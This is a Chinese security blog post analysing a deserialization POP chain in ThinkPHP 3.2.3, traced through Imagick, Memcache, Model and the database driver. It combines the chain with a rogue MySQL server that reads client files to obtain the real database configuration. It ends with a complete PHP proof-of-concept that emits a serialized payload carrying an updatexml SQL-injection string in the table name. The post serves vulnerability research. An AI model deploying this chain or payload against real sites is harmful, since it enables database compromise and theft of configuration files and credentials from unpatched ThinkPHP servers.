文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-01-21   1.8k

TP3.0反序列化POP链+MySQL伪造恶意服务端

Reference: 米斯特安全团队 https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

测试环境

  • OS: MAC OS
  • PHP: 5.6.40
  • ThinkPHP: 3.2.3

环境搭建

使用composer拉取源码:

1
composer create-project topthink/thinkphp=3.2.3 tp3

框架会生成一个默认的控制器,访问首页显示欢迎使用ThinkPHP!

更改这个默认的控制器:

POP链分析

起点

文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

img参数可控,这里有两个思路,一是可以接着寻找destroy()函数,二是可以寻找不存在destroy()函数的类从而触发__call()方法。

跳板1

首先还是全局查找function destroy(,找到一个可用的跳板类。

文件:/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

这里的$this->handle可控,并且调用了$this->handledelete()方法,且传过去的参数是部分可控的,因此我们可以继续寻找有delete()方法的跳板类。

有点问题的地方在于这里的destroy()方法需要传入一个$sessID,但是前面Imagick::__destruct中调用destroy()方法的时候并没有传值,在PHP7的版本下会抛出异常。

跳板2

全局搜索function delete(,找到一个Model类。

文件:/ThinkPHP/Library/Think/Model.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public function delete($options = array())
{
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}

}
if (is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if (strpos($options, ',')) {
$where[$pk] = array('IN', $options);
} else {
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}

}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if (empty($options['where'])) {
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}

if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}

$this->_after_delete($data, $options);
}
// 返回删除记录个数
return $result;
}

这里的$pk其实就是$this->pk,是完全可控的。

首先来看第一个if语句,$options是从跳板1传过来的,在跳板1中可以控制其是否为空。$this->options['where']是成员属性,是可控的,而且嵌套的if语句中data参数也是可控的,那么符合条件后,又调用了一次自己$this->delete(),但是这时候的参数$this->data[$pk]是我们可控的。

这时delete()我们就可以成功带完全可控参数访问了。

最终这个函数会调用具体数据库驱动类中的delete()中去,即:$result = $this->db->delete($options);,那么这时候我们就可以调用任意自带的数据库类中的delete()方法了。

终点

文件:/ThinkPHP/Library/Think/Db/Driver.class.php

$table是可控的,将$table拼接到$sql传入了$this->execute()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public function execute($str, $fetchSql = false)
{
$this->initConnect(true);
if (!$this->_linkID) {
return false;
}

$this->queryStr = $str;
if (!empty($this->bind)) {
$that = $this;
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}
if ($fetchSql) {
return $this->queryStr;
}
//释放前次的查询结果
if (!empty($this->PDOStatement)) {
$this->free();
}

$this->executeTimes++;
N('db_write', 1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if (false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if (is_array($val)) {
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
} else {
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try {
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if (false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if (preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
} catch (\PDOException $e) {
$this->error();
return false;
}
}

函数开头第一行先调用initConnect()初始化数据库连接:

可以通过控制成员属性,使程序调用到$this->connect()

通过$this->config里的配置去创建了数据库连接,接着去执行前面拼接的DELETESQL语句。

所以这条POP链的功能就在于可以连接任意数据库,再利用delete注入。

漏洞利用

这个POP链看起来比较鸡肋,因为必须先拿到数据库的配置文件才能注入。但是在MySQL攻击面这篇文章,第一种攻击面就是读取客户端任意文件,前提就是伪造一个恶意的MySQL服务端。那么我就可以先把配置文件写成恶意的MySQL服务端,再读取客户端的数据库配置文件,最后通过这个配置文件进行delete注入。

恶意MySQL服务端

https://github.com/allyshka/Rogue-MySql-Server

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'tp3', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3307', // 端口
'dsn' => '', //
'params' => array(), // 数据库连接参数
'charset' => 'utf8', // 数据库编码默认采用utf8
'prefix' => '', // 数据库表前缀
'debug' => false, // 数据库调试模式
'deploy' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'rw_separate' => false, // 数据库读写是否分离 主从式有效
'master_num' => 1, // 读写分离后 主服务器数量
'slave_no' => '', // 指定从服务器序号
'db_like_fields' => '',
);
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk = 'id';
protected $options = array();
protected $data = array();
protected $db = null;

public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct()
{
$this->handle = new Model();
}
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
use Think\Image;
class Imagick{
private $img;

public function __construct()
{
$this->img = new Memcache();
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

然后发送请求,可以在mysql.log中看到读取的文件信息:

接下来就是更改POC中数据库的相关配置为mysql.log中读取的到的内容即可。

Copyright © ca01h 2019-2021 | 本站总访问量